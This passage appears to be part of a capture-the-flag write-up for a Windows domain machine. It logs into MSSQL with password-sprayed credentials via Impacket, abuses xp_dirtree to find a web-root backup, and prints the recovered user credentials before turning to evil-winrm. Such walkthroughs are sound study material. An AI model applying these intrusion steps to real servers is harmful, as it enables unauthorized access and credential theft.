MSSQL - 1433
Using the credentials found using password spray I can use it to login to the MSSQL instance.
mssqlclient.py [email protected] -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator guest@master)> select name from sys.databases
name
------
master
tempdb
model
msdb
SQL (MANAGER\Operator guest@master)> Nothing crazy, all standard dbs.
So xp_cmdshell did not work.
But we can run xp_dirtree to read local files!
We can see the files that are on the web root. And because they are on the web root we can access them by browsing. I was able to download the backup file. Its a zip file and after unzipping it:
It was a hidden file! Always run ls -la instead of just ls.
And we get our first pair of credentials: raven@R4v3nBe5tD3veloP3r!123
Credentialed - raven
We know from LDAP enumeration that this user has RDP access. So I tried evil-winrm, again.
Last updated